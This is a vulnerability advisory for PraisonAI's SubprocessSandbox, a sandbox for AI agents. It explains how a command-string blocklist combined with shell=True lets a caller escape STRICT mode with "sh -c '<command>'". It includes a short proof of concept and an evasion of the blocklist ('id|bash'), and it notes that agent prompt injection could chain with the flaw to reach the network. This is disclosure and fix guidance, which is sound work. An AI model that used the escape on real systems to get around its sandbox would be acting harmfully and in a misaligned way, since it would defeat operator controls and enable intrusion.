PT-2026-59555 · Pypi · Praisonai

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

8.8

High

VectorAV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

SubprocessSandbox in all modes (BASIC, STRICT, NETWORK ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.

Details

sandbox executor.py:179 (source) -> sandbox executor.py:326 (sink)
python
# source -- string-pattern blocklist, sh and bash not in blocked commands
cmd name = Path(parts[0]).name
if cmd name in self.policy.blocked commands: # sh, bash not blocked
  raise SecurityError(...)
dangerous patterns = [
  ("| sh",  ...),  # requires space -- "id|bash" evades this
  ("| bash", ...),  # requires space
]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
  command,
  shell=True,
  ...
)

PoC

python
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

Suggested Fix

python
import shlex

result = subprocess.run(
  shlex.split(command),
  shell=False,
  cwd=cwd,
  env=env,
  capture output=capture output,
  text=True,
  timeout=timeout
)

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2921

Affected Products

Praisonai